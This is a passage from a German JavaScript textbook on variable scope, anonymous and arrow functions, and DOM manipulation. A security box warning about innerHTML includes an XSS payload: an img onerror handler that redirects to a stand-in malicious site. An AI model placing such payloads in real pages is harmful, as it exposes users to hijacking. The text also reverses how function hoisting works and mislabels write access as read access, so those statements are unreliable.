                Dieser Code läuft wie folgt ab:

                
                    	
                        Die beiden globalen Variablen a und b werden deklariert, wobei a der Wert 23 und b der Wert 3 zugewiesen wird.

                    

                    	
                        Die Funktion abc wird definiert, aber noch nicht aufgerufen.

                    

                    	
                        Die Funktion abc wird aufgerufen und es werden ihr die Werte 1, 2 und 5 übergeben:

                        
                            	
                                c erhält den Wert 1.

                            

                            	
                                d erhält den Wert 2.

                            

                            	
                                e erhält den Wert 5.

                            

                            	
                                Danach werden zwei lokale Variablen (f und g) deklariert, und f wird der Wert 19 zugewiesen.

                            

                            	
                                Dann wird der globalen Variablen b die Summe aus c, d und e zugewiesen (b=8), wodurch der ursprüngliche Wert (b=3) von b überschrieben wird.

                            

                            	
                                Der lokalen Variablen g wird der doppelte Wert von b zugewiesen (hier: 16).

                            

                            	
                                Der Inhalt von g wird an den Aufrufer zurückgegeben.

                            

                        

                    

                    	
                        Der globalen Variablen x wird der Wert 16 zugewiesen.

                    

                

                Beachten Sie außerdem folgende Punkte:

                
                    	
                        Die globale Variable b hat nach diesem Funktionsaufruf den (neuen) Wert 8!

                    

                    	
                        Die Variablen c, d, e, f und g sind nun nicht mehr verfügbar, da es sich um lokale Variablen innerhalb der Funktion handelt.

                    

                

                Offensichtlich ist es auch irrelevant, ob eine globale Variable mit var oder mit let deklariert wird. Das liegt daran, dass sich die Idee der let-Deklarierung auf Block-Bereiche (wie Bedingungen, Schleifen etc.) bezieht, also auf solche Bereiche, die mit geschwungenen Klammern erzeugt wurden: for(...) { ... }, if(...) { ... } usw. Werden Variablen außerhalb solcher geschwungener Klammern deklariert, so gelten sie als global.

                Ähnliches gilt für Funktionen: Zunächst einmal sind hierin sämtliche Variablen lokal, also »von außerhalb der Funktion« nicht erreichbar. Dies wäre auch zu erwarten gewesen, da sämtlicher Code innerhalb einer Funktion nur während eines Funktionsaufrufs überhaupt »aktiv« wird. Dennoch existieren in Funktionen auch Variablen, die »lokaler« sind als die restlichen lokalen Variablen: solche, die ebenfalls wieder innerhalb eines Block-Bereichs mittels let deklariert worden sind.

                Eine Sache gilt es dennoch zu überlegen: Was passiert, wenn ein Variablenname sowohl für eine globale als auch für eine lokale Variable verwendet wird? Beachten Sie hierzu unten stehendes Beispiel, wo der Variablenname b mehrfach verwendet wird:

                var b = 19; //globale Variable
function abc(c,d) {
  console.log("globale Variable b (nicht verfügbar):",b);
  var b = c+d; //lokale Variable: das Ergebnis ist 7
  console.log("lokale Variable b:",b);
  //die globale Variable b ist innerhalb der Funktion nicht mehr verfügbar, 
  //da eine lokale Variable b existiert
}
abc(3,4);
console.log("(globale) Variable b:",b); //19, da die Variable b innerhalb der 
//Funktion eine lokale Variable ist


                Listing 7.27    
            Die Variable »b« wird mehrfach deklariert (global und lokal).

                Sobald der Interpreter beim Verarbeiten einer Funktion erkennt, dass eine lokale Variable vorhanden ist, die den gleichen Namen wie eine globale Variable trägt, ist der Zugriff auf die globale Variable nicht mehr möglich – auch nicht, bevor die lokale Variable innerhalb der Funktion deklariert wird (siehe Abbildung 7.61).

                
                    [image: Das Verwenden gleichnamiger lokaler und globaler Variablen führt unweigerlich zu Verwirrung und sollte deshalb vermieden werden.]

                    Abbildung 7.61    
            Das Verwenden gleichnamiger lokaler und globaler Variablen führt unweigerlich zu Verwirrung und sollte deshalb vermieden werden.

                
                Wie Sie aus den obigen Überlegungen gut erkennen können, ist es nicht sonderlich empfehlenswert, gleichnamige lokale und globale Variablen zu verwenden. Achten Sie deshalb darauf, die Variablen immer eindeutig zu benennen, oder verwenden Sie – wie auch viele andere Entwickler*innen – ein Variablen-Präfix, das die Bedeutung der Variablen andeuten soll:

                let gbl_b = 23; anstatt let b = 23;

            
        
        
            7.4.7    Bekannt oder anonym?

            Der große Vorteil von Funktionen liegt in ihrer Wiederverwendbarkeit. Diese Tatsache führt dazu, dass viele Entwickler ihre Funktionen gern etwas »allgemeiner« halten, um sie wiederverwendbarer zu machen: Beispielsweise werden in die Funktion zusätzliche Übergabevariablen und Funktionalitäten integriert, die man zum aktuellen Zeitpunkt vielleicht noch gar nicht benötigt, jedoch in Hinblick auf zukünftige Projekte benötigen könnte. Unter diesem Aspekt entstehen Funktionsbibliotheken, also eigene JavaScript-Dateien, die nichts anderes beinhalten als zig Funktionen.

            Dabei tut sich nicht selten eine Gefahr auf, denn solche Dateien werden dann gern ohne Nachdenken in sämtliche Projekte des Entwicklers eingebunden, obwohl der Großteil der darin befindlichen Funktionen im aktuellen Projekt gar nicht benötigt wird. Die angesprochene »Gefahr« ist dann die, dass man dem Interpreter (Browser) eine Menge Arbeit aufzwingt, die Funktionen in den Speicher zu laden, was schlussendlich die Performance beeinträchtigt.

            Eine anonyme Funktion auf der anderen Seite ist eine Funktion, die zumeist nur für ganz spezielle Anlässe verwendet wird, weshalb man ihr keinen Namen gibt, sondern die Funktionalität direkt angibt.

            Betrachten wir folgendes Beispiel: Wir möchten eine Funktion schreiben, die zur Eingabe eines Users den Wert 20 hinzuzählt. Dabei könnten wir zunächst folgendermaßen vorgehen, indem wir hierfür eine eigene Funktion addiere20 definieren, ihr den vom User eingegebenen Wert übergeben und von der Funktion erwarten, dass sie zu diesem Wert 20 hinzuzählt. In diesem Zusammenhang wandeln wir die Eingabe des Users mittels parseInt() in eine Ganzzahl um (und verzichten in weiterer Folge auf eine etwaige Überprüfung der Eingabe des Users):

            function addiere20(wert) {
  return wert+20;
}
let usereingabe = parseInt(prompt("Bitte geben Sie eine Zahl ein:"));
let usereingabePlus20 = addiere20(usereingabe);
console.log("ursprünglicher Wert:",usereingabe);
console.log("neuer Wert:", usereingabePlus20);


            
                [image: Der vom User eingegebene Wert war 30, der um 20 erhöhte Wert ergibt somit 50.]

                Abbildung 7.62    
            Der vom User eingegebene Wert war 30, der um 20 erhöhte Wert ergibt somit 50.

            
            Am obigen Code ist an sich nichts auszusetzen, denn er arbeitet wie gewünscht und liefert auch das angepeilte Ergebnis zurück. Dennoch wirkt die Funktion etwas deplatziert. Natürlich könnte man argumentieren, dass man zum Addieren eines vorgegebenen Wertes keine Funktion benötigt, denn das ließe sich auch viel einfacher erledigen:

            let usereingabe = parseInt(prompt("Bitte geben Sie eine Zahl ein:"));
let usereingabePlus20 = usereingabe+20;
console.log("ursprünglicher Wert:",usereingabe);
console.log("neuer Wert:", usereingabePlus20);


            Also bohren wir unsere Funktion ein wenig auf, um ihr etwas mehr Sinn zu verleihen: Die Funktion soll nun den Wert 20 addieren, sollte der übergebene Wert größer als 25 sein, ansonsten soll sie vom übergebenen Wert die Zahl 5 abziehen:

            function addiere20OderSubtrahiere5(wert) {
  if(wert>25) { return wert+20; }
  else { return wert-5; }
}
let usereingabe = parseInt(prompt("Bitte geben Sie eine Zahl ein:"));
let usereingabePlus20 = addiere20OderSubtrahiere5(usereingabe);
console.log("ursprünglicher Wert:",usereingabe);
console.log("neuer Wert:", usereingabePlus20);


            Listing 7.28    
            Immer noch eine benannte Funktion – aber das wird sich gleich ändern.

            Um diese Funktionalität direkt im Code abzubilden, bräuchten wir ebenfalls keine explizite Funktion, aber es wäre nicht ganz so übersichtlich. Dennoch ist die Funktion nicht gerade umwerfend, und für eine Wiederverwendung in anderen Projekten taugt sie offensichtlich auch nicht. (Wann würde man denn schon eine Funktion mit dieser Funktionalität benötigen?) Damit haben wir einen Grund, die Funktion anonym zu halten und lediglich auf ihre Funktionalität zuzugreifen:

            let usereingabe = parseInt(prompt("Bitte geben Sie eine Zahl ein:"));
let addiere20OderSubtrahiere5 = function(wert) {
  if(wert>25) { return wert+20; }
  else { return wert-5; }
};
console.log("ursprünglicher Wert:",usereingabe);
console.log("neuer Wert:", addiere20OderSubtrahiere5(usereingabe));


            Listing 7.29    
            Nun haben wir eine anonyme Funktion, die in diesem Fall besser geeignet ist.

            Ein großer Vorteil solcher anonymen Funktionen ist, dass die Funktionalität der Funktion direkt an der Stelle definiert wird, an der sie benötigt wird. Damit ist ein (lästiges) Suchen nach der Funktionsdefinition nicht notwendig. Außerdem können Sie anonyme Funktionen bereits vor deren Definition aufrufen, was mit benannten Funktionen aufgrund des sogenannten Hoistings nicht klappt. Auf der anderen Seite ist die Funktion nun nicht mehr wiederverwendbar. Den jeweiligen Vor- und Nachteil müssen Sie als Entwickler*in gegeneinander aufwiegen – eine globale Aussage »pro oder kontra anonyme Funktionen« kann man nicht liefern.

            
                [Info]  Hoisting

                Unter Hoisting versteht man das Verhalten eines JavaScript-Interpreters bei der Deklaration von Variablen (und auch Funktionen) innerhalb von Funktionen: Er prüft, welche Variablen lokal im Gültigkeitsbereich der Funktion und welche global definiert sind. Lokale Variablen werden sofort deklariert (also vorgezogen), jedoch nicht initialisiert.

            

        
        
            7.4.8    Pfeilfunktionen (Arrow Functions)

            Arrow Functions sind anonyme Funktionen in abgekürzter Schreibweise. Hat man sich einmal an diese Schreibweise gewöhnt, weiß man sie schnell zu schätzen.

            Betrachten wir das erste Beispiel, das wir für den Einsatz einer anonymen Funktion auserkoren haben:

            function addiere20(wert) {
  return wert+20;
}


            Um diese Funktion als anonyme Funktion zu schreiben, hätten wir Folgendes abändern müssen:

            let addiere20 = function(wert) {
  return wert+20;
}


            Der Weg zur Pfeilschreibweise ist nun wie folgt:

            
                	
                    Das Wort function wird entfernt und zwischen die runden Klammen mit der (den) Übergabevariable(n) und der öffnenden geschwungenen Klammer wird ein Pfeil geschrieben:

                    let addiere20 = (wert) => { return wert+20; } 


                

                	
                    Die geschwungenen Klammern und das Wort return werden entfernt (return wird automatisch ausgeführt), sofern die anonyme Funktion lediglich eine einzige Zeile umfasst:

                    let addiere20 = (wert) => wert+20; 


                

                	
                    Die runden Klammern werden entfernt:

                    let addiere20 = wert => wert+20; 


                

            

            Der dritte Schritt ist jedoch nur dann erlaubt, wenn an die anonyme Funktion nur ein Wert übergeben wird. Im Falle zweier oder mehrerer Übergabewerte muss das Runde-Klammern-Paar vorhanden bleiben: let berechne = (a,b,c) => (3*a-b)/c. Auch für anonyme Funktionen ohne Übergabewert müssen die Klammern stehen bleiben: let zufallszahl = () => -0.5 + Math.random().

            Das war’s dann auch schon. Fein ist natürlich, dass die Arrow Functions so reduziert geschrieben werden können – gleichzeitig ist dies jedoch auch deren Nachteil.

            
                [»]  Arrow Functions besitzen kein arguments-Objekt

                Arrow Functions besitzen kein arguments-Objekt. Sollten Sie ein solches benötigen, so müssen Sie auf eine traditionelle Funktion zurückgreifen. Außerdem kann this nicht verwendet werden.

            

            Die Anwendung wie in unserem Code angedacht wäre dann wie folgt:

            var usereingabe = parseInt(prompt("Bitte geben Sie eine Zahl ein:"));
let addiere20 = wert => wert+20;
let usereingabePlus20 = addiere20(usereingabe);
console.log("ursprünglicher Wert:",usereingabe);
console.log("neuer Wert:", usereingabePlus20);


            Listing 7.30    
            Der Einsatz von Arrow Functions

            Arrow Functions werden gerne bei sogenannten Promises verwendet, weshalb Sie sich diese Schreibweise für kommende Anwendungen aneignen und antrainieren sollten.

        
    


                    
                        
        7.5    Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)

        Bereits zu Beginn unserer Reise durch HTML sind wir auf den Dokumentbaum gestoßen, der den strukturellen Aufbau eines HTML-Dokumentes widerspiegelt. In ihm können neben den benötigten Element-Knoten (HTML-Tags) auch die optionalen Attribut- und Textknoten eingezeichnet werden. Dies kann einerseits für das gesamte HTML-Dokument erfolgen (also inklusive <html>, <head> usw.) oder nur für den Teil, der für uns im Webbereich »spannender« ist: <body>.

        In diesem Abschnitt werde ich beschreiben, welche Möglichkeiten es aus Sicht von JavaScript gibt, auf den Dokumentbaum zuzugreifen, um ihn zu verändern, neue Elemente hinzuzufügen, bestehende Elemente zu löschen, Elementen interaktive Eigenschaften zu geben usw. – quasi die Essenz von JavaScript im Rahmen von Webseiten. Der Dokumentbaum ist demnach kein starres Gerüst, sondern lässt sich entsprechend verändern.

        Ganz allgemein versteht man unter dem Dokumentobjektmodell (DOM) die Schnittstelle zwischen HTML und JavaScript. Das DOM nimmt den Dokumentbaum als Basis und stellt nun jeden darin befindlichen Knoten als ein »Objekt« dar. An sich handelt es sich beim Dokumentobjektmodell gar nicht um ein Modell, sondern um eine sogenannte API (Application Programming Interface – Programmschnittstelle), da es um den Zugriff von JavaScript auf HTML geht. Auf den Begriff API gehe ich in Abschnitt 7.11 über Web-APIs noch genau ein.

        
            7.5.1    Die Geschichte des DOM

            Sie sollten an dieser Stelle nicht vergessen, dass JavaScript eine Erfindung von Netscape und dementsprechend auch im »Besitz« dieser Firma war. Microsoft wollte mit der Errungenschaft von Netscape gleichziehen und brachte JScript auf den Markt. Somit war die Webwelt mit der Tatsache konfrontiert, dass in den jeweiligen Browsern unterschiedliche Sprachen zum Einsatz kamen, diese jedoch bis auf einige Kleinigkeiten identisch waren.

            Für den Webentwickler war die Welt also halbwegs in Ordnung. Die Browserhersteller (Netscape, Microsoft) mussten dem Programmierer jedoch eine »Anleitung« geben, wie er im jeweiligen Browser auf die HTML-Elemente zugreifen konnte – und zwar jeder Browserhersteller für seine eigene Implementierung der Programmiersprache (JavaScript oder JScript).

            Damit war es mit der »Einigkeit« vorbei, gelang es doch beiden Herstellern nicht, sich auf eine gemeinsame Idee zu einigen. Man bezeichnet diese unterschiedlichen Ansätze heute als DOM Level 0, was es als echten Standard natürlich nie gegeben hat. Schlussendlich trat das W3-Konsortium auf den Plan und veröffentlichte Ende 1998 seinerseits eine Idee, wie man die unterschiedlichen Herangehensweisen der Browserhersteller unter einen Hut bringen könne. Damit war das DOM Level 1 geboren. Dieser erste (schnelle) Ansatz umfasste einerseits die Ansätze von Netscape und Microsoft (DOM HTML) und definierte andererseits, wie man sich im Dokumentbaum »bewegen« konnte (DOM Core).

            Im Laufe der Jahre wurde das DOM bis auf den Level 3 gehoben, indem weitere Schnittstellen (wie etwa die SVG API und weitere) integriert wurden. Das liegt jedoch nun auch schon einige Jahre in der Vergangenheit (2004). Dass sich hier nichts Großartiges tut, liegt daran, dass es nicht notwendig ist: Bereits mit Level 2 kamen die wichtigsten und wesentlichsten Verbesserungen hinzu – der größte Schritt war jedoch immer noch derjenige, in dem das W3-Konsortium den Browserherstellern die Verantwortung genommen hat, eigene Schnittstellen zu basteln. Denn das verhalf uns Webentwickler*innen zu einem einheitlichen Umgang mit JavaScript und HTML.

            Festhalten sollten wir, dass das DOM nicht JavaScript ist, sondern JavaScript das DOM nutzt. Vielmehr ist das DOM eine unabhängige Entwicklung, mit deren Hilfe unterschiedlichste Auszeichnungssprachen angesprochen werden können. Das DOM könnte auch für eine andere Sprache (wie etwa Python) entwickelt werden und würde so Python die Möglichkeit bieten, auf Auszeichnungssprachen zuzugreifen.

            Recht allgemein gesprochen, betreffen uns im Falle einer Webseite zwei Gebiete:

            
                	
                    alles, was den Browser selbst betrifft, auf der einen Seite und

                

                	
                    alles, was das Dokument betrifft, auf der anderen Seite

                

            

            Sämtliche Browser-Angelegenheiten wie etwa die Location, die History, die installierten Plugins etc. verwaltet das window-Objekt. Diesem werden wir uns in Abschnitt 7.8 widmen. Zumeist sind wir jedoch am HTML-Code (oder mit anderen Worten: dem Dokumentbaum) interessiert, der vom document-Objekt verwaltet wird.

        
        
            7.5.2    Unsere erste Wahl: document

            Wenden wir uns also zunächst dem document zu, wo der Zugriff auf den Dokumentbaum möglich wird. document stellt ein sogenanntes Objekt dar, das eine Sammlung von Befehlen – sogenannten Methoden – und Eigenschaften bereitstellt. Methoden sind vergleichbar mit unseren Funktionen, sie sind jedoch nur über das zugehörige Objekt verfügbar.

            Eine der wesentlichen Aufgaben bei der Webentwicklung ist das »dynamische Manipulieren des Dokumentbaums« mithilfe von JavaScript. Die Vorgehensweise – egal, ob man zusätzliche Elemente erzeugen oder bestehende Elemente verändern oder löschen möchte – ist immer dieselbe:

            
                	
                    In einem ersten Schritt muss der Zugriff auf ein HTML-Element erfolgen. Hierzu muss man das gewünschte Element eindeutig identifizieren können (z. B. über die Zuweisung einer ID).

                

                	
                    Sobald man den Zugriff auf dieses Element hat, kann man in einem zweiten Schritt auf sämtliche Eigenschaften (Attribute/Inhalte/Kinder etc.) zugreifen und diese manipulieren (verändern/löschen/Kinder hinzufügen).

                

            

            
                [ ! ]  Achten Sie auf die Reihenfolge

                Bitte beachten Sie, dass Sie erst dann auf ein HTML-Element (das im Dokumentbaum durch ein Objekt repräsentiert wird) zugreifen können, wenn es vom Browser verarbeitet wurde. Demnach ist die Reihenfolge im Code entscheidend: Zunächst muss das Element im HTML-Code vorkommen, erst danach kann man mittels JavaScript auf es zugreifen.

            

            In einem ersten, einfachen Beispiel sehen Sie diese Vorgehensweise dargestellt. Zunächst weisen wir dem ersten Bild eine eindeutige Kennung mithilfe des id-Attributs zu (id="meinWunschbild"), um in einem zweiten Schritt auf das Element mit der id namens meinWunschbild zugreifen zu können:

            <img src="bilder/affe.jpg" id="meinWunschbild" alt="Affe in einem Käfig">
<img src="bilder/giraffe.jpg">
<img src="bilder/katze.jpg">
<script>


              document.getElementById("meinWunschbild").src = "bilder/hund.jpg";
  document.getElementById("meinWunschbild").alt = "Hund am See";


            </script>


            Listing 7.31    
            Der Zugriff auf HTML-Elemente mittels »getElementById«

            Wie Sie aus dem obigen Code erkennen, verwenden wir zunächst das Universal-Attribut id, um ein Element eindeutig zu kennzeichnen. Sobald dies geschehen ist, stellt uns das DOM eine Methode zur Verfügung, um auf ein Element mit einer gegebenen id zugreifen zu können. Diese Methode ist in einem (übergeordneten) Objekt namens document untergebracht, weshalb die Methode wie folgt lautet:

            document.getElementById("meinWunschbild")

            Sobald der Zugriff auf das jeweilige Element im Dokumentbaum erfolgt ist, haben wir auch den Zugriff auf alle Eigenschaften des Elements selbst, da ein jedes Element im Dokumentbaum wiederum als Objekt mit Eigenschaften (und Methoden) dargestellt wird. Wir dürfen uns solche Objekte zwar als HTML-Tags vorstellen, jedoch müssen wir berücksichtigen, dass sich im Dokumentbaum nicht die Tags aus »unserem HTML-Code« befinden, sondern Objekte, die der Interpreter erstellt hat.

            Folgender Code würde übrigens einen Fehler ergeben, da versucht wird, auf ein Element mit der id="meinWunschbild" zuzugreifen, obwohl dieses erst nach dem Scriptcode im HTML-Code steht:

            <script>


              document.getElementById("meinWunschbild").src = "bilder/hund.jpg";


            </script>
<img src="bilder/affe.jpg" id="meinWunschbild" alt="Affe in einem Käfig">


            Diese Situation ist mehr als unbefriedigend. Lösen können wir sie erst in Abschnitt 7.6, »Ereignisse bestimmen den Ablauf«.

            Unsere Zugriffsmöglichkeiten auf Objekte sind wie folgt:

            
                	
                    Zugriff auf Attribute: Wir können auf sämtliche Attribute zugreifen, die das Element hat oder haben kann.

                

                	
                    Zugriff auf den Inhalt: Auch der Inhalt eines Elements (z. B. der in einem Absatz enthaltene Text) steht uns zur Verfügung.

                

            

            Grundsätzlich unterscheiden wir zwischen schreibendem und lesendem Zugriff:

            
                	
                    Schreibender Zugriff bedeutet, dass wir Änderungen am Wert vornehmen dürfen bzw. diesen auch gänzlich entfernen dürfen.

                

                	
                    Lesender Zugriff bedeutet wiederum, dass wir den Wert ermitteln, ihn aber nicht verändern dürfen.

                

            

            Zumeist steht uns der schreibende Zugriff zur Verfügung, wie wir auch im obigen Beispiel gesehen haben, wo wir einerseits den Inhalt des src-Attributs (und somit den Inhalt des Bildes) und andererseits den alternativen Text im alt-Attribut verändert haben:

            
                	
                    document.getElementById("meinWunschbild"): Dieser Aufruf ermöglicht den Zugriff auf das Element mit der id »meinWunschbild«.

                

                	
                    Mittels document.getElementById("meinWunschbild").src = "bilder2/abc/hund.jpg"; wird der Inhalt des Bildes mit der id meinWunschbild von "bilder/affe.jpg" auf "bilder2/abc/hund.jpg" geändert (d. h., die ursprünglich bestehende Source des Bildes wurde durch eine neue Source ersetzt).

                

                	
                    Mittels document.getElementById("meinWunschbild").alt = "Hund am See"; wird der alternative Text des <img> von »Affe in einem Käfig« auf »Hund am See« geändert.

                

            

            In beiden Fällen durften wir die bestehenden Werte der jeweiligen Attribute überschreiben und hatten demnach »lesenden Zugriff«.

            Die Methode getElementById ist eine von mehreren Möglichkeiten, wie die Auswahl eines Objekts im DOM-Baum erfolgen kann.

            
                [»]  HTML-Element vs. DOM-Objekt

                Um die weiteren Erläuterungen etwas lesbarer zu machen, werde ich auf den korrekten Ausdruck »Objekt im DOM-Baum« verzichten und dafür einfach »HTML-Element« schreiben. Das fördert einerseits das Verständnis und ist andererseits auch etwas praxisnäher.

            

            Weitere Zugriffsmöglichkeiten auf HTML-Elemente finden Sie in der folgenden Auflistung:

            
                	
                    getElementById("ID") greift auf ein eindeutig mit einer id gekennzeichnetes Element zu.

                

                	
                    getElementsByName("Name") greift auf alle Elemente eines speziellen Namens zu. Weil das name-Attribut in HTML nicht eindeutig ist (beispielsweise werden Radiobuttons in Formularen über einen identischen Wert des name-Attributs zu einer Gruppe zusammengefasst), ist auch dieser Zugriff nicht eindeutig. Aus diesem Grund erhält man ein Array an Elementen. Dies gilt auch für den Fall, dass im HTML-Code nur ein einziges Element den gegebenen Namen besitzt.

                

                	
                    getElementsByTagName("Tagname") greift auf alle Elemente eines speziellen Tag-Typs zu. Genauso wie beim Name-Attribut gilt auch hier, dass dieser Zugriff nicht eindeutig ist, wodurch die Ausführung dieser Methode wiederum ein Array liefert.

                

                	
                    getElementsByClassName("Klasse") greift auf alle Elemente einer speziellen (CSS-) Klasse zu. Auch dieser Zugriff ist nicht eindeutig, weshalb das Ergebnis ein Array ist.

                

            

            Neben diesen Zugriffsmöglichkeiten, die zugegebenermaßen nicht so ganz dem entsprechen, was wir als Zugriffsmöglichkeit in CSS kennengelernt haben, existieren auch zwei Varianten, die der CSS-Schreibweise entsprechen:

            
                	
                    querySelector("CSS-Selektor") greift auf das erste Element zu, das diesem Selektor genügt.

                

                	
                    querySelectorAll("CSS-Selektor") greift auf alle Elemente zu, die diesem Selektor genügen, wodurch wiederum ein Array an Elementen entsteht.

                

            

            Zu den CSS-Selektoren sei gesagt, dass in ihrem Fall von vornherein nicht feststeht, ob der Zugriff eindeutig oder mehrdeutig ist. Würde man etwa als Selektor #meinWunschbild schreiben, so wüssten wir, dass dieser Zugriff eindeutig ist, da er auf das id-Attribut verweist. In diesem Fall würde man eher zur Methode querySelector greifen, obwohl auch querySelectorAll möglich wäre – nur diese Methode würde eben in jedem Fall ein Array an Werten liefern.

            Wann immer Sie als Ergebnis ein Array erhalten, müssen Sie also angeben, welches (im Sinne von: das »wie vielte«) Element aus dieser Liste (dem Array) Sie denn nun ansprechen möchten. Alle Elemente auf einmal zu verändern, ist nicht möglich.

            ...
<img scr="bilder/adler.jpg" alt="Adler">
<img src="bilder/puma.jpg" alt="Puma">
<img src="bilder/elefant.jpg" alt="Elefant">
<img src="bilder/hund.jpg" alt="Hund">
...
<script>


            document.getElementsByTagName("img")[2].src = "bilder2/fuchs.jpg"; /*es wird auf das dritte Bild im HTML-Dokument zugegriffen und die Source dieses Bildes wird auf "bilder/fuchs.jpg" geändert.*/


            </script>


            Listing 7.32    
            Der Zugriff auf HTML-Elemente mit »getElementsByTagName« und dem jeweiligen Index

            Alternativ wäre auch dieser Zugriff möglich:

            document.querySelectorAll("img")[2].src = "bilder/fuchs.jpg";


            Wie oben erwähnt, könnten Sie auf die Idee kommen, sämtliche im Code befindlichen Bilder auf den Fuchs zu ändern, und würden gegebenenfalls Folgendes versuchen:

            document.querySelectorAll("img").src = "bilder/fuchs.jpg";


            Dies ist jedoch nicht möglich, da document.querySelectorAll("img") ein Array an Elementen darstellt. Möchten Sie auf alle ausgewählten Elemente zugreifen und allen eine neue Quelle zuweisen, so benötigen Sie eine Schleife:

            for(let i=0; i< document.querySelectorAll("img").length; i++) {
  document.querySelectorAll ("img")[i].src = "bilder/fuchs.jpg";
}


            
                Veränderung bringt’s, Teil 1: HTML-Code manipulieren (einfach)

                Dennoch haben wir es bis dato lediglich zustande gebracht, Attribute zu verändern. Was ist, wenn wir nicht auf Attribute, sondern auf den Inhalt eines HTML-Elements abzielen? Denn sehr oft ist man der Situation, bereits bestehenden Code (z. B. den Inhalt eines Absatzes) verändern zu müssen. Dazu muss man zunächst (wie gewohnt) auf das entsprechende Element zugreifen (z. B. per getElementById o. Ä.) und dann das sogenannte »innere HTML« (oder auch den »inneren Text«) verändern.

                Betrachten wir etwa folgendes Beispiel:

                <p id="a">Hallo <strong>Welt!</strong> Uns geht's prima.</p> 


                In diesem Fall stellt Hallo <strong>Welt!</strong> Uns geht's prima. den »inneren Teil« des Absatzes dar – wohlgemerkt inklusive eines weiteren HTML-Elements: <strong>. Dem inneren HTML ist es also völlig egal, ob es nur Text ist oder auch HTML-Code beinhaltet.

                Um diesen inneren Teil zu verändern, verwenden wir zunächst die Eigenschaft innerHTML:

                document.getElementById("a").innerHTML = "Hallo Uwe :-)";


                Hierdurch wird der ursprüngliche Inhalt Hallo <strong>Welt!</strong> Uns geht's prima. durch Hallo Uwe :-) ersetzt.

                
                    [ ! ]  Sicherheitsrisiko

                    Diese Variante birgt ein eventuelles Sicherheitsrisiko in sich, sofern sie für Usereingaben zum Einsatz kommt. Angenommen, die Website erwartet vom User eine Eingabe in ein Textfeld, dessen Inhalt nach der Eingabe eingelesen und an einer anderen Stelle mittels innerHTML 1:1 wieder ausgegeben wird. Das würde es dem User ermöglichen, auch JavaScript-Code einzugeben, der dann mitunter sofort auch wieder ausgeführt wird.

                    Ein Beispiel wäre etwa die Eingabe, bei der nach einem Ladefehler der (sicherlich nicht existierenden) Bilddatei mit dem Namen xxx eine Weiterleitung auf die Site www.boese.at erfolgen würde, wie der folgende Code zeigt:

                    <img src="xxx" onerror="location.href='http://www.boese.at';">

                    Die Alternative ist das bewusste Hinzufügen von Objekten in den Dokumentbaum. Dennoch muss man ein wenig relativieren: Aktuell wird innerHTML sehr wohl erlaubt und auch nicht blockiert. Lediglich, wenn Sie daran denken würden, Add-Ons für Browser zu schreiben, könnte innerHTML ein Problem werden.

                

                Der neue Inhalt kann natürlich auch ein komplexerer HTML-Code sein – es muss sich nicht rein um Text handeln, der ins HTML-Element eingesetzt wird:

                document.getElementById("a").innerHTML = "Hallo <strong>Uwe</strong>. Wie ↩ gefällt Dir dieser Link: <a href='http://www.orf.at' target='_blank'>ORF</a>?";


                Selbstverständlich ist es auch möglich, das innere HTML lediglich zu lesen (auszulesen):

                <p id="a">Hallo <strong>Welt!</strong> Uns geht's prima.</p>
<pre id="b"></pre>
<script>


                let inhalt = document.getElementById("a").innerHTML;
document.getElementById("b").innerHTML = inhalt;


                </script>


                Neben innerHTML kann auch die Eigenschaft innerText verwendet werden, die jedoch nur Änderungen als Text ermöglicht, nicht aber als HTML-Code (siehe Abbildung 7.63).

                
                    [image: Vergleich von »innerHTML« und »innerText«: Zweiteres liest lediglich den Text, nicht jedoch die HTML-Tags aus.]

                    Abbildung 7.63    
            Vergleich von »innerHTML« und »innerText«: Zweiteres liest lediglich den Text, nicht jedoch die HTML-Tags aus.

                
            
            
                Veränderung bringt’s, Teil 2: HTML-Code manipulieren (erweitert)

                Wie wir bereits mehrfach besprochen haben, ist die Struktur eines HTML-Dokuments hierarchisch, da ein HTML-Tag weitere HTML-Tags umschließen kann. Die Abbildung dieser Hierarchie ist der Dokumentbaum. In diesem Zusammenhang sind wir auf die Begriffe Eltern-Element, Kind-Elemente und Geschwister-Elemente gestoßen.

                Jedes Tag (zur Erinnerung: Der Einfachheit halber sprechen wir von den Tags und nicht von den Objekten im Objektbaum) bis auf das Wurzelelement (in unserem Fall: <html>) besitzt exakt ein Eltern-Element und kann – je nach Tag – beliebig viele Geschwister- und gegebenenfalls auch Kind-Elemente besitzen. Im Falle der Kind-Elemente hängt dies davon ab, ob das Tag überhaupt in der Lage ist, HTML-Code zu beinhalten: Beispielsweise kann ein Absatz <p> weitere Tags (wie etwa ein <strong>, ein <a> etc. – also sogenannte Inline-Elemente) beinhalten, ein <img> hingegen kann keine HTML-Elemente beinhalten (und dementsprechend keine Kinder haben).

                Elemente im Dokumentbaum bezeichnen wir als Knoten. Neben den Elementknoten existieren noch weitere Knoten – fassen wir alle Knotentypen zusammen, so erhalten wir die folgende Auflistung (vgl. hierzu auch Abschnitt 5.3, »Der Dokumentbaum«):

                
                    	
                        Unter Elementknoten verstehen wir die HTML-Tags.

                    

                    	
                        Die Attributknoten stellen die Attribute von HTML-Tags dar, sind jedoch keine Kinder von Elementknoten (siehe hierzu die folgende Bemerkung).

                    

                    	
                        Die Textknoten wiederum sind der textuelle Inhalt von HTML-Tags (reiner Text).

                    

                

                Daneben existieren noch die (für unsere Betrachtung nicht so wesentlichen) Kommentarknoten, die immer dann entstehen, wenn sich im HTML-Code Kommentare wie <!-- Ich bin ein Kommentar --> befinden.

                Es ist einfach zu verstehen, dass Attribut- und Textknoten nur dann existieren können, wenn auch ein zugehöriger Elementknoten existiert. Dementsprechend kann ein Elementknoten also drei Arten von Kindknoten besitzen: weitere Element-, Text- und Kommentarknoten.

                
                    [»]  Textknoten

                    Zwar sind Textknoten Kinder des Elementknotens, jedoch sind Attributknoten keine Kinder des Elementknotens, sondern sogenannte »assoziierte Objekte«. Deshalb erscheinen Attributknoten auch nicht in der Liste der Kinder eines Elementknotens.

                

                Bereits in Abschnitt 7.5 haben wir uns damit auseinandergesetzt, dass man zunächst auf einen Elementknoten Zugriff haben muss, um auf die untergeordneten (Kind-) Knoten zugreifen zu können. Seit der zweiten Version des DOM steht uns hierfür eine neue Eigenschaft namens childNodes zur Verfügung, die eine Art Array an Kindknoten, die sogenannte Nodelist (Knotenliste), zurückliefert. Die Eigenschaft length gibt wiederum die Anzahl der Kindknoten der Nodelist zurück.

                Betrachten wir als Beispiel folgenden HTML-Codeausschnitt:

                <body>
  <div id="test">
    <!-- Ein Kommentar -->
